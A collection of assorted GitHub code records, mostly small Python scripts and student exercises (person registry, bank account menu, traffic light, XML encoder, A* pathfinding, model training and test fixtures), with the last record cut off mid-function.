+{"seq_id":"42507961609","text":"pessoal = list()\npessoa = dict()\nsoma = média = 0\nwhile True:\n    pessoa.clear\n    pessoa['Nome'] = input('Nome: ').capitalize()\n    pessoa['Sexo'] = input('Sexo: [M/F] ').upper().strip()[0]\n    if pessoa['Sexo'] not in 'MF':\n        while pessoa['Sexo'] not in 'MF':\n            print('Sexo inválido! Responda apenas M ou F')\n            pessoa['Sexo'] = input('Sexo: [M/F] ').upper().strip()[0]\n    pessoa['Idade'] = int(input('Idade: '))\n    soma += pessoa['Idade']\n    pessoal.append(pessoa.copy())\n    continuar = input('Deseja continuar? [S/N] ').strip()[0]\n    if continuar not in 'NnSs':\n        while continuar not in 'NnSs':\n            print('Resposta inválida! Responda apenas S ou N')\n            continuar = input('Deseja continuar? [S/N] ')\n    if continuar in 'Nn':\n        break\nmédia = soma / len(pessoal)\nprint(f'A) Ao todo temos {len(pessoal)} pessoas')\nprint(f'B) A média de idade do pessoal é de {média:.2f} anos')\nprint(f'C) As mulheres cadastradas são:', end=' ')\nfor ind in pessoal:\n    if ind['Sexo'] in 'F':\n        print(f'{ind[\"Nome\"]}', end=' ')\nprint('\\nD) Lista de pessoas cujas idades estão acima da média: ')\nfor ind in pessoal:\n    if ind['Idade'] > média:\n        print('     ', end='')\n        for k, v in ind.items():\n            print(f'{k} = {v}; ', end='')\n        print()\nprint('<< ENCERRADO >>')\n\n\n","repo_name":"Thalesamaojapa/Thales---Python","sub_path":"Exercícios_Main/Exercícios/Exercício94(OGuanabaraDisseQueÉDficil).py","file_name":"Exercício94(OGuanabaraDisseQueÉDficil).py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29303531705","text":"from __future__ import absolute_import, division, print_function, unicode_literals\nimport tensorflow as tf\nimport numpy as np\nimport createDataSet\nimport newGenerator\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\n\n\nlogdir=\"logs/fit/\" + datetime.now().strftime(\"%Y%m%d-%H%M%S\")\ntensorboard_callback = tf.keras.callbacks.TensorBoard(log_dir=logdir)\n\nreduce_lr = tf.keras.callbacks.ReduceLROnPlateau(monitor='val_loss', factor=0.2, patience=5, min_delta=.0000001,verbose=1)\n\nlabeledData = tf.data.Dataset.from_generator(newGenerator.testGenerator().test_gen_data,(tf.int32,tf.int32))\nlabeledData = labeledData.shuffle(1000).batch(512)\n\n\nvalData = tf.data.Dataset.from_generator(newGenerator.testGenerator().test_gen_val_data,(tf.int32,tf.int32))\nvalData = valData.batch(512)\n\n\nmodel = tf.keras.models.load_model('current_model.h5')\n\n\nhistory = model.fit(labeledData,epochs=10,verbose=1,validation_data=valData,callbacks=[tensorboard_callback,reduce_lr])\n\nprint(history.history)\n\nmodel.save('current_model.h5')\n\nplt.plot(history.history['loss'], label='Train')\nplt.plot(history.history['val_loss'], label = 'Val')\nplt.xlabel('Epoch')\nplt.ylabel('AbsoluteError')\nplt.ylim([0, 1.5])\nplt.legend(loc='lower right')\n","repo_name":"josephdodge8141/Lichess-Neural-Network","sub_path":"src/runModel.py","file_name":"runModel.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29027895557","text":"# coding: utf-8\n\nimport pytest\n\nimport itertools\nimport uuid\n\nfrom django.conf import settings\n\nfrom at.aux_ import models as aux_models\n\n\nFAKE_USERS = [\n    {'login': 'deadman', 'person_id': 8756, 'user_type': 'profile', 'status':'dismissed'},\n    {'login': 'this-is-login', 'person_id': 12345, 'user_type': 'profile'},\n    {'login': 'login-from-bb', 'person_id': 2345, 'user_type': 'profile'},\n    {'login': 'theigel', 'person_id': 11248, 'user_type': 'profile'},\n    {'login': 'someclub', 'person_id': 4611686018427389188, 'user_type': 'community', 'community_type': 'OPENED_COMMUNITY'},\n    {'login': 'testclub', 'person_id': 4611686018427389999, 'user_type': 'community', 'community_type': 'OPENED_COMMUNITY'},\n    {'login': 'closedclub', 'person_id': 4611686018427389189, 'user_type': 'community', 'community_type': 'CLOSED_COMMUNITY'},\n    {'login': 'kukutz', 'person_id': 11278, 'user_type': 'profile'},\n]\n\n\n@pytest.fixture\ndef person_builder(db):\n    def builder(**kwargs):\n        params = get_person_default_params()\n        params.update(kwargs)\n        try:\n            person = aux_models.Person.objects.get(person_id=params['person_id'])\n        except aux_models.Person.DoesNotExist:\n            person = aux_models.Person.objects.create(**params)\n        return person\n    return builder\n\n\n@pytest.fixture\ndef person_builder_bulk(db):\n    def builder(**kwargs):\n        count = kwargs.pop('_count', 1)\n        models = []\n        for _ in range(count):\n            params = get_person_default_params()\n            params.update(kwargs)\n            models.append(aux_models.Person(**params))\n        persons = aux_models.Person.objects.bulk_create(models)\n        return persons\n    return builder\n\n\nperson_uid_gen = itertools.count(10000000, 20000000)\n\n\ndef get_person_default_params():\n    uid = next(person_uid_gen)\n    login = 'person_' + str(uid)\n    first_name_ru = 'Иван' + str(uuid.uuid4())[0]\n    last_name_ru = 'Петров' + str(uuid.uuid4())[0]\n    first_name_en = 'Ivan' + str(uuid.uuid4())[0]\n    last_name_en = 'Petrov' + str(uuid.uuid4())[0]\n    return {\n        'person_id': uid,\n        'login': login,\n        'title': ' '.join([first_name_ru, last_name_ru]),\n        'title_eng': ' '.join([first_name_en, last_name_en]),\n        'user_type': aux_models.Person.PROFILE,\n        'email': login + '@yandex-team.ru',\n        'status': 'normal',\n        'community_type': 'NONE',\n        'has_access': True\n    }\n\n\n@pytest.fixture\ndef person(person_builder):\n    return person_builder()\n\n\n@pytest.fixture\ndef friend_builder(db):\n    def builder(**kwargs):\n        params = {}\n        params.update(kwargs)\n        if 'who' not in params:\n            params['person_id'] = person_builder()\n        else:\n            params['person_id'] = params.pop('who')\n        if 'whom' not in params:\n            params['uid'] = person_builder()\n        else:\n            params['uid'] = params.pop('whom')\n        friend = aux_models.Friend.objects.create(**params)\n        return friend\n    return builder\n\n\n@pytest.fixture\ndef test_person(person_builder):\n    return person_builder(\n        person_id=settings.YAUTH_TEST_USER['uid'],\n        login=settings.YAUTH_TEST_USER['login'],\n    )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/test_fixtures/aux_models.py","file_name":"aux_models.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25971011830","text":"import os\n\nimport numpy as np\nimport torch\nfrom sklearn.metrics import accuracy_score\n\nfrom src.lfw_dataset import get_dataloader\nfrom src.resnet18 import resnet18\nfrom src.settings import CHECKPOINT_DIR\n\nBATCH_SIZE = 32\n\n\ndef predict(model, dataloader_):\n    model.eval()\n    y_embd_ls = []\n\n    for i, inp_tensor in enumerate(dataloader_):\n        y_embd = model(inp_tensor.cuda())\n        y_embd = torch.nn.functional.normalize(y_embd)\n        y_embd_ls.append(y_embd.detach().cpu().numpy())\n\n    return np.vstack(y_embd_ls)\n\n\nif __name__ == '__main__':\n    checkpoint_path = os.path.join(CHECKPOINT_DIR, \"face_identification.pt\")\n    model = resnet18(num_classes=256)\n    model.cuda()\n    model.load_state_dict(torch.load(checkpoint_path)[\"model_state_dict\"])\n\n    dataloader, lfw_labels = get_dataloader(BATCH_SIZE)\n    y_embd_ls = predict(model, dataloader)\n\n    t = y_embd_ls @ y_embd_ls.T\n\n    preds = (np.diag(t, 1)[::2] > 0.84) * 1\n\n    acc_ = accuracy_score(preds, lfw_labels)\n    print(f\"Face Verification Accuracy in LFW Dataset:{acc_:.3f}\")\n","repo_name":"thapa-jeevan/face-identification","sub_path":"src/test_lfw.py","file_name":"test_lfw.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13770317867","text":"\"\"\"\nHidden scrollbar is in its own file so that even if Tkinter is not installed, settings can still be imported.\n\n\"\"\"\n\nfrom __future__ import absolute_import\n#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module.\nimport __init__\nimport Tkinter\n\n\n__author__ = 'Enrique Perez (perez_enrique@yahoo.com)'\n__date__ = \"$Date: 2008/23/04 $\"\n__license__ = 'GPL 3.0'\n\n\nclass HiddenScrollbar( Tkinter.Scrollbar ):\n\t\"A class to hide the scrollbar if it is not needed.\"\n\tdef set( self, lo, hi ):\n\t\t\"Add to grid is needed, remove if not.\"\n\t\tif float( lo ) <= 0.0 and float( hi ) >= 1.0:\n\t\t\tself.tk.call('grid', 'remove', self )\n\t\telse:\n\t\t\tself.grid()\n\t\tTkinter.Scrollbar.set( self, lo, hi )\n\n","repo_name":"makerbot/ReplicatorG","sub_path":"skein_engines/skeinforge-35/fabmetheus_utilities/hidden_scrollbar.py","file_name":"hidden_scrollbar.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":397,"dataset":"github-code","pt":"3"}
+{"seq_id":"39502852395","text":"from typing import Optional\nfrom fastapi import Depends, HTTPException\n\nimport schemas\nfrom orm.repositories import RepositoryContainerBase, RepositoryContainer\nfrom settings import get_settings\nfrom auth import oauth2_scheme, credentials_exception\nfrom auth.utilities import get_username_from_access_token\nfrom schemas import UserInDb\n\n\ndef get_repository_container() -> RepositoryContainerBase:\n    \"\"\"\n    Returns the repositoy container that holds all available repositories\n    :return: Repository Container\n    \"\"\"\n    return RepositoryContainer()\n\n\ndef get_user_from_token(*,\n                        token: str = Depends(oauth2_scheme),\n                        db: RepositoryContainerBase = Depends(get_repository_container)\n                        ) -> Optional[UserInDb]:\n    \"\"\"\n    Extracts the current user from the JWT Token\n    :param db: Repository Container\n    :param token: JWT access token\n    :return: Current user\n    \"\"\"\n    settings = get_settings()\n    username = get_username_from_access_token(token=token,\n                                              secret_key=settings.auth_secret_key,\n                                              algorithm=settings.auth_algorithm)\n    # noinspection PyTypeChecker\n    user: Optional[schemas.UserInDb] = db.user.get(username)\n    return user\n\n\ndef get_current_active_user(current_user: UserInDb = Depends(get_user_from_token)) -> Optional[UserInDb]:\n    \"\"\"\n    Extracts the current user and checks if the user is enabled\n    :return: Current active user\n    \"\"\"\n    if not current_user or current_user.disabled:\n        raise credentials_exception\n    return current_user\n\n\ndef common_filter_parameters(skip: int = 0, limit: int = 100) -> dict:\n    \"\"\"\n    Provides common query parameters\n    :param skip: How many records should be skipped\n    :param limit: The maximum item count (only values between 0 and 1000 are allowed)\n    :return: Common query parameters dict\n    \"\"\"\n    if skip < 0:\n        raise HTTPException(status_code=400, detail=f\"Value for skip ({skip}) is invalid\")\n    if limit < 0 or limit > 1000:\n        raise HTTPException(status_code=400, detail=f\"Value for limit ({limit}) is invalid\")\n    return {\n        \"skip\": skip,\n        \"limit\": limit\n    }\n","repo_name":"manukanne/cloudatlas-quiz-api","sub_path":"dependencies.py","file_name":"dependencies.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"45434006418","text":"\"\"\"\nIt will first convert all the images from the sample_images folder into a set of VGG16 features, \nand then pass the features to the trained deep-learning model and tokenizer, and return the captions.\n\"\"\"\n\nimport os\nimport keras\nimport numpy as np\nfrom build_model.build_model import feature_extractions, sample_caption\nfrom pickle import load, dump\n    \n# Load tokenizer\ndef infer():\n\twith open(\"./tokenizer.pkl\", \"rb\") as f:\n\t\ttokenizer = load(f)\n    \n\tmodel = keras.models.load_model(\"model/model0_v19_devloss_3.38_trainloss_3.1.h5\") #Load model\n\tvocab_size = tokenizer.num_words # The number of vocabulary\n\tmax_length = 33 # Maximum length of caption sequence\n\n\t#sampling\n\tfeatures = feature_extractions(\"./sample_images\")\n\n\tcaptions = []\n\tfor i, filename in enumerate(features.keys()):\n\t\t\tcaption = sample_caption(model, tokenizer, max_length, vocab_size, features[filename])\n\t\t\tcaptions.append(caption)\n\n\treturn captions\n\nif __name__ == \"__main__\":\n\tinfer()\n","repo_name":"f0ti/thousandwords","sub_path":"caption_generator.py","file_name":"caption_generator.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8195467629","text":"#!/usr/bin/env python\n\nimport unittest\nfrom collections import Counter\n\nclass Solution:\n    def uncommonFromSentences(self, A, B):\n        \"\"\"\n        :type A: str\n        :type B: str\n        :rtype: List[str]\n        \"\"\"\n        A_words = set(A.split())\n        B_words = set(B.split())\n        A_exactly_once = {word for word, count in Counter(A.split()).items() if count == 1}\n        B_exactly_once = {word for word, count in Counter(B.split()).items() if count == 1}\n\n        return list((A_exactly_once ^ B_exactly_once) - (A_words & B_words))\n\nclass UT1(unittest.TestCase):\n    def setUp(self):\n        s = Solution()\n        self.f = s.uncommonFromSentences\n\n    def test_base(self):\n        self.assertEqual(sorted(self.f('this apple is sweet', 'this apple is sour')), sorted(['sweet', 'sour']))\n        self.assertEqual(sorted(self.f('apple apple', 'banana')), sorted(['banana']))\n        self.assertEqual(sorted(self.f('s z z z s', 's z ejt')), sorted(['ejt']))\n\ndef unit_test(cls):\n    suite = unittest.TestLoader().loadTestsFromTestCase(cls)\n    unittest.TextTestRunner(verbosity=2).run(suite)\n\nif __name__ == \"__main__\":\n    unit_test(UT1)\n","repo_name":"freeshyam/lc","sub_path":"884_uncommon_words.py","file_name":"884_uncommon_words.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70237645521","text":"LIMITE_SAQUE = 500\nAGENCIA = \"0001\"\nusuarios_cadastrados = {}\nnum_conta_seq = 1\n\n\nclass usuario:\n    def __init__(self, nome, dt_nasc, cpf, end):\n        self.nome = nome\n        self.data_nascimento = dt_nasc\n        self.cpf = cpf\n        self.endereco = end\n        self.contas = []\n\n    def adicionarConta(self, conta):\n        self.contas.append(conta)\n\n    def exibirContas(self):\n        for i in self.contas:\n            linha = f\"\"\"\\\n                        Agência:\\t{i.agencia}\n                        C/C:\\t\\t{i.num}\n                        Titular:\\t{self.nome}\n                    \"\"\"\n\n\nclass conta:\n    def __init__(self, saldo=0):\n        global num_conta_seq\n        self.saques_dia = 0\n        self.agencia = AGENCIA\n        self.num = num_conta_seq\n        num_conta_seq += 1\n        if saldo > 0:\n            self.extrato = [(\"d\", saldo)]\n            self.saldo = saldo\n            print(\"Conta criada com sucesso e depósito realizado!\")\n        elif saldo == 0:\n            self.saldo = saldo\n            self.extrato = []\n            print(\"Conta criada com sucesso!\")\n        else:\n            print(\"Valor inicial da conta inválido!\")\n\n    def deposito(self, valor):\n        if valor > 0:\n            self.saldo += valor\n            self.extrato.append((\"d\", valor))\n            print(\"Depósito realizado!\")\n        else:\n            print(\"Valores Negativos não são válidos!\")\n\n    def saque(self, valor):\n        if self.saques_dia >= 3:\n            print(\"Número máximo de saques diários realizados!\")\n        elif valor > LIMITE_SAQUE:\n            print(\"O valor solicitado ultrapassou o limite de saque!\")\n        elif valor <= 0:\n            print(\"Valor inválido!\")\n        elif valor > self.saldo:\n            print(\"Saldo insuficiente!\")\n        else:\n            self.saldo -= valor\n            self.saques_dia += 1\n            self.extrato.append((\"s\", valor))\n\n    def exibirExtrato(self):\n        print(\"\\n================ EXTRATO ================\")\n        if self.extrato == []:\n            print(\"Não foram realizadas movimentações.\")\n        else:\n            for i in self.extrato:\n                if \"d\" == i[0]:\n                    print(f\"Depósito: R$ {i[1]:.2f}\")\n                elif \"s\" == i[0]:\n                    print(f\"Saque: R$ {i[1]:.2f}\")\n        print(f\"\\nSaldo: R$ {self.saldo:.2f}\")\n        print(\"==========================================\")\n\n\nmenu = \"\"\"\\n\n    ================ MENU ================\n    [d]\\tDepositar\n    [s]\\tSacar\n    [e]\\tExtrato\n    [nc]\\tNova conta\n    [lc]\\tListar contas\n    [lu]\\tListar usuários\n    [nu]\\tNovo usuário\n    [q]\\tSair\n    => \"\"\"\nopcao = input(menu)\n\nwhile opcao != \"q\":\n\n    if opcao == \"d\":\n        cpf = input(\"Informe o CPF (somente número): \")\n        if cpf in usuarios_cadastrados:\n            print(f\"Usuário: {usuarios_cadastrados[cpf].nome}\")\n            contas_usu = usuarios_cadastrados[cpf].contas\n            for i in range(len(contas_usu)):\n                print(f\"{i} - Número da Conta:{contas_usu[i].num} Agência{contas_usu[i].agencia}\")\n            selecao = int(input(\"Selecione a conta de acordo com o número referente a ela:\"))\n            valor = float(input(\"Informe o valor do depósito: \"))\n            contas_usu[selecao].deposito(valor)\n\n    elif opcao == \"s\":\n        cpf = input(\"Informe o CPF (somente número): \")\n        if cpf in usuarios_cadastrados:\n            print(f\"Usuário: {usuarios_cadastrados[cpf].nome}\")\n            contas_usu = usuarios_cadastrados[cpf].contas\n            for i in range(len(contas_usu)):\n                print(f\"{i} - Número da Conta:{contas_usu[i].num} Agência{contas_usu[i].agencia}\")\n            selecao = int(input(\"Selecione a conta de acordo com o número referente a ela:\"))\n            valor = float(input(\"Informe o valor do saque: \"))\n            contas_usu[selecao].saque(valor)\n\n    elif opcao == \"e\":\n        cpf = input(\"Informe o CPF (somente número): \")\n        if cpf in usuarios_cadastrados:\n            print(f\"Usuário: {usuarios_cadastrados[cpf].nome}\")\n            contas_usu = usuarios_cadastrados[cpf].contas\n            for i in range(len(contas_usu)):\n                print(f\"{i} - Número da Conta:{contas_usu[i].num} Agência{contas_usu[i].agencia}\")\n            selecao = int(input(\"Selecione a conta de acordo com o número referente a ela:\"))\n            contas_usu[selecao].exibirExtrato()\n\n    elif opcao == \"nu\":\n        cpf = input(\"Informe o CPF (somente número): \")\n        if cpf in usuarios_cadastrados:\n            print(\"Já existe usuário com esse CPF!\")\n        else:\n            nome = input(\"Informe o nome completo: \")\n            data_nascimento = input(\"Informe a data de nascimento (dd-mm-aaaa): \")\n            endereco = input(\"Informe o endereço (logradouro, nro - bairro - cidade/sigla estado): \")\n\n            usuarios_cadastrados[cpf] = usuario(nome, data_nascimento, cpf, endereco)\n            print(\"=== Usuário criado com sucesso! ===\")\n    elif opcao == \"nc\":\n        cpf = input(\"Informe o CPF do usuário: \")\n\n        if cpf in usuarios_cadastrados:\n            conta_aux = conta()\n            usuarios_cadastrados[cpf].adicionarConta(conta_aux)\n            print(\"\\n=== Conta criada com sucesso! ===\")\n            print(f\"Agencia{conta_aux.agencia} Número{conta_aux.num}\")\n\n    elif opcao == \"lc\":\n        cpf = input(\"Informe o CPF do usuário: \")\n        if usuarios_cadastrados[cpf] is None:\n            print(\"Usuário não encontrado!\")\n        else:\n            for usuarios in usuarios_cadastrados.values():\n                print(f\"Usuário: {usuarios.nome}\")\n                for contas in usuarios.contas:\n                    print(f\"Número:{contas.num} Agência:{contas.agencia}\")\n    elif opcao == \"lu\":\n        for usuarios in usuarios_cadastrados.values():\n            print(f\"Nome:{usuarios.nome}  Cpf:{usuarios.cpf}\")\n\n    elif opcao == \"q\":\n        break\n\n    else:\n        print(\"Operação inválida, por favor selecione novamente a operação desejada.\")\n\n    opcao = input(menu)\n","repo_name":"duckdogersxd/Dio-PotenciaTech","sub_path":"sistemaBancario2.py","file_name":"sistemaBancario2.py","file_ext":"py","file_size_in_byte":6055,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32885016544","text":"# Создать класс TrafficLight (светофор) и определить у него один атрибут color\r\n# (цвет) и метод running (запуск). Атрибут реализовать как приватный. В рамках\r\n# метода реализовать переключение светофора в режимы: красный, желтый,\r\n# зеленый. Продолжительность первого состояния (красный) составляет 7 секунд,\r\n# второго (желтый) — 2 секунды, третьего (зеленый) — на ваше усмотрение.\r\n# Переключение между режимами должно осуществляться только в указанном порядке\r\n# (красный, желтый, зеленый). Проверить работу примера, создав экземпляр и\r\n# вызвав описанный метод.\r\n\r\ndef color_circle(color):\r\n    import turtle as t\r\n    t.speed(0)\r\n    t.hideturtle()\r\n    num = [100, 0, -100]\r\n    if color == 'red':\r\n        my_colors = ['red', 'black', 'black']\r\n    if color == 'yellow':\r\n        my_colors = ['black', 'yellow', 'black']\r\n    if color == 'green':\r\n        my_colors = ['black', 'black', 'green']\r\n    if color == 'black':\r\n        my_colors = ['black'] * 3\r\n    t.up()\r\n    for i in range(3):\r\n        t.goto(0, num[i])\r\n        t.down()\r\n        t.begin_fill()\r\n        t.fillcolor(my_colors[i])\r\n        t.circle(50)\r\n        t.end_fill()\r\n        t.up()\r\n\r\n\r\nclass TrafficLight:\r\n    __color = ['red', 'yellow', 'green', 'yellow']\r\n\r\n    def running(self):\r\n        import turtle as t\r\n        from time import sleep\r\n        from itertools import cycle\r\n        chek = 5\r\n        time_list = iter(cycle([7, 2]))\r\n        it_color = iter(cycle(TrafficLight._TrafficLight__color))\r\n        for i in range(chek):\r\n            color_circle(next(it_color))\r\n            sleep(next(time_list))\r\n        color_circle('black')\r\n        t.up()\r\n        t.goto(0, -175)\r\n        t.write(\"The End! Clic to exit\", align=\"center\",\r\n                font=(\"Arial\", 12, \"normal\"))\r\n        t.exitonclick()\r\n\r\n\r\ntl = TrafficLight()\r\ntl.running()\r\n","repo_name":"AlSavva/Python-basics-homework","sub_path":"homework6-1.py","file_name":"homework6-1.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9774629358","text":"def validate_encoded(self):\r\n    file_data = self.file_data\r\n    reading_head = True\r\n    tags = []\r\n    element = \"\"\r\n    levels = 0\r\n    for i in range(len(file_data)):\r\n        if reading_head:\r\n            if file_data[i] == ';':\r\n                tags += element\r\n                element = \"\"\r\n            elif file_data[i] == ':':\r\n                reading_head = False\r\n            else:\r\n                element += file_data[i]\r\n        else:\r\n            if file_data[i] == '>':\r\n                levels += 1\r\n            elif file_data[i] == '<':\r\n                levels -= 1\r\n\r\n    if levels == 0:\r\n        self.tags = tags\r\n\r\n\r\ndef encode(self):\r\n    if not self.isValid:\r\n        raise Exception(\"File is invalid!\")\r\n    head, body, last_char = \"\", \"\", '>'\r\n\r\n    if len(self.elements) == 0:\r\n        self.scrape_data()\r\n\r\n    elements = self.elements\r\n    tags = self.tags\r\n\r\n    for i in range(len(elements)):  # T(n) = n / k = O(n)\r\n        if elements[i][0] == '<':\r\n            if elements[i][1] != '/':\r\n                elements[i] = str(hex(tags.index(elements[i][1:-1]))[2:]) + '$'\r\n            else:\r\n                elements[i] = elements[i][1:-1]\r\n\r\n    for i in range(len(tags)):  # T(n) = O(c)\r\n        head += tags[i] + ';'\r\n\r\n    head += ':'\r\n    body += elements[0]\r\n    for i in range(1, len(elements)):  # T(n) = n / k = O(n)\r\n        if elements[i][0] != '/':\r\n            body += (\">\" if last_char == '>' else \"\") + elements[i]\r\n            last_char = '>'\r\n        else:\r\n            if elements[i - 1] == elements[i][1:]:\r\n                body += ':'\r\n            else:\r\n                body += '<'\r\n            last_char = '<'\r\n    result = head + body\r\n    open(f\"{self.file_name[0:-3]}enc\", \"w\").write(self.format(result))\r\n    return result\r\n\r\n\r\ndef decode(self):\r\n    if not self.isValid:\r\n        raise Exception(\"File is invalid!\")\r\n\r\n    element = \"\"\r\n    tags = self.tags\r\n    file_data = self.file_data\r\n    reading_head = True\r\n    decoded = \"\"\r\n    stack = []\r\n    for i in range(len(file_data)):\r\n        if reading_head:\r\n            if file_data[i] == ':':\r\n                reading_head = False\r\n            else:\r\n                continue\r\n        else:\r\n            if file_data[i] == '>':\r\n                element = tags[int(element[0:-1], 16)]\r\n                decoded += f\"<{element}>\"\r\n                stack.append(element)\r\n                element = \"\"\r\n            elif file_data[i] == '<':\r\n                decoded += f\"{element}</{stack[-1]}>\"\r\n                stack.pop(-1)\r\n                element = \"\"\r\n            elif file_data[i] == ':':\r\n                decoded += f\"</{stack[-1]}>\"\r\n                stack.pop(-1)\r\n                element = \"\"\r\n            else:\r\n                element += file_data[i]\r\n\r\n    open(f\"{self.file_name[0:-3]}xml\", \"w\").write(self.format(decoded)).close() # where is the closing of the file\r\n    return self.format(decoded)","repo_name":"OmarDiaa1952/Data-Structure-and-Algorithms---XML-Format","sub_path":"encode_decode/encode_decode.py","file_name":"encode_decode.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2014614361","text":"import pygame\nimport random as rand\nimport numpy as np\nimport heapq\nfrom Cell_v1 import Cell\n\n# Colors\nWHITE = (255, 255, 255)\nGRAY = (128, 128, 128)\nBLACK = (0, 0, 0)\nRED = (255,0,00)\nGREEN = (0,250,154)\nBLUE = (0,191,255)\nPURPLE = (187,76,255)\n\nscreen_size = (808, 808)\nwidth = 8\nscreen = pygame.display.set_mode(screen_size)\n\nglobal discovered_nodes_count\n\n\n# gets a potential path from compute path (thru cell.parent)\n# constructs path until the first unblocked and resets the start position of agent\n# colors the path taken\n\"constructPath()::- builds the shortestPath and colors it BLUE\"\ndef constructPath(start_cell, target_cell):\n    path = []\n\n    path.append(target_cell)\n    curr_cell = target_cell.parent\n    while curr_cell is not start_cell:\n        path.append(curr_cell)\n        curr_cell = curr_cell.parent\n\n    path.append(start_cell)\n\n    unblocked = []\n\n    for curr_cell in reversed(path):\n        if not curr_cell.blocked:\n            unblocked.append(curr_cell)\n            curr_cell.visited = True\n            if curr_cell != start_cell and curr_cell != target_cell:\n                pygame.draw.rect(screen, BLUE, (curr_cell.x * width, curr_cell.y * width, width, width))\n        else:\n            break\n\n    return unblocked\n\n# essentially, we are getting the shortest path to target in this\n# starting with the start_state of the agent, it adds smallest-f cell to the path\n# with that cell it computes the rest of the path\n# until it reaches goal, where it actually constructs the path\n\"computePathForward()::- finds a path from the start_cell to target_cell using forwardAStar\"\ndef computePathForward(start_cell, target_cell, gridworld, tie):\n    global discovered_nodes_count\n    closed_list = []\n    open_list = []\n    start_cell.g = 0\n    heapq.heappush(open_list, (start_cell.f, start_cell))\n\n    while(len(open_list) > 0):\n\n        curr_cell_tuple = heapq.heappop(open_list)\n        curr_cell = curr_cell_tuple[1]\n\n\n        # goal reached by travelling through unexplored cells as well\n        # get_path is going to take care of the blocked cells in the path\n        if(curr_cell.x == target_cell.x and curr_cell.y == target_cell.y):\n            return constructPath(start_cell, curr_cell), closed_list\n\n        closed_list.append(curr_cell)\n\n        i = curr_cell.x\n        j = curr_cell.y\n        # Calculate all neighbors\n        neighbors = []\n        if(i > 0):\n            neighbors.append(gridworld[i-1][j])\n        if(i < (len(gridworld[0]) - 2)):\n            neighbors.append(gridworld[i+1][j])\n        if(j > 0):\n            neighbors.append(gridworld[i][j-1])\n        if(j < (len(gridworld[0]) - 2)):\n            neighbors.append(gridworld[i][j+1])\n\n        # Set neighbors list for that cell\n        curr_cell.set_neighbors(neighbors)\n        neighbors = curr_cell.neighbors\n\n        # adding the states to open_list\n        for cell in neighbors:\n            #if cell.visited:\n             #   continue\n            if cell in closed_list:\n                continue\n            if cell.discovered or cell.blocked:\n                continue\n\n            # update value if already exists in open_list\n            for cell_tuple in open_list:\n                if cell_tuple[1].x == cell.x and cell_tuple[1].y == cell.y:\n                    open_list.remove(cell_tuple)\n                    heapq.heapify(open_list)\n                    break\n\n            if len(open_list) != 0:\n                minGval = heapq.heappop(open_list)\n                minGval = minGval[1]\n\n                if cell.f == minGval.f:\n                    # Tie Break\n                    if tie:  # Use small g\n                        if cell.g < minGval.g:\n                            heapq.heappush(open_list, (minGval.f, minGval))\n                            minGval = cell\n                            heapq.heappush(open_list, (minGval.f, minGval))\n                        else:\n                            heapq.heappush(open_list, (minGval.f, minGval))\n                            heapq.heappush(open_list, (cell.f, cell))\n                    else:  # Use Large g\n                        '''if cell.h < minGval.h:\n                            heapq.heappush(open_list, (minGval.f, minGval))\n                            minGval = cell\n                            heapq.heappush(open_list, (minGval.f, minGval))'''\n\n                else:\n                    heapq.heappush(open_list, (minGval.f, minGval))\n                    heapq.heappush(open_list,(cell.f, cell))\n            else:\n                heapq.heappush(open_list, (cell.f, cell))\n\n            cell.discovered = True\n            if cell != start_cell and cell != target_cell:\n                discovered_nodes_count += 1\n                pygame.draw.rect(screen, PURPLE, (cell.x * width, cell.y * width, width, width))\n            cell.parent = curr_cell\n\n    return None\n\n# essentially, we are getting the shortest path to target in this\n# starting with the start_state of the agent, it adds smallest-f cell to the path\n# with that cell it computes the rest of the path\n# until it reaches goal, where it actually constructs the path\n\"computePathBackward()::- finds a path from the start_cell to target_cell using backwardAStar\"\ndef computePathBackward(start_cell, target_cell, gridworld, tie):\n    global discovered_nodes_count\n    closed_list = []\n    open_list = []\n    target_cell.h = 0\n    heapq.heappush(open_list, (target_cell.f, target_cell))\n\n    while(len(open_list) > 0):\n\n        curr_cell_tuple = heapq.heappop(open_list)\n        curr_cell = curr_cell_tuple[1]\n\n\n        # goal reached by travelling through unexplored cells as well\n        # get_path is going to take care of the blocked cells in the path\n        if(curr_cell.x == start_cell.x and curr_cell.y == start_cell.y):\n            return constructPath(target_cell, curr_cell)\n\n        closed_list.append(curr_cell)\n\n        i = curr_cell.x\n        j = curr_cell.y\n        # Calculate all neighbors\n        neighbors = []\n        if(i > 0):\n            neighbors.append(gridworld[i-1][j])\n        if(i < (len(gridworld[0]) - 2)):\n            neighbors.append(gridworld[i+1][j])\n        if(j > 0):\n            neighbors.append(gridworld[i][j-1])\n        if(j < (len(gridworld[0]) - 2)):\n            neighbors.append(gridworld[i][j+1])\n\n        # Set neighbors list for that cell\n        curr_cell.set_neighbors(neighbors)\n        neighbors = curr_cell.neighbors\n\n        # adding the states to open_list\n        for cell in neighbors:\n            #if cell.visited:\n             #   continue\n            if cell in 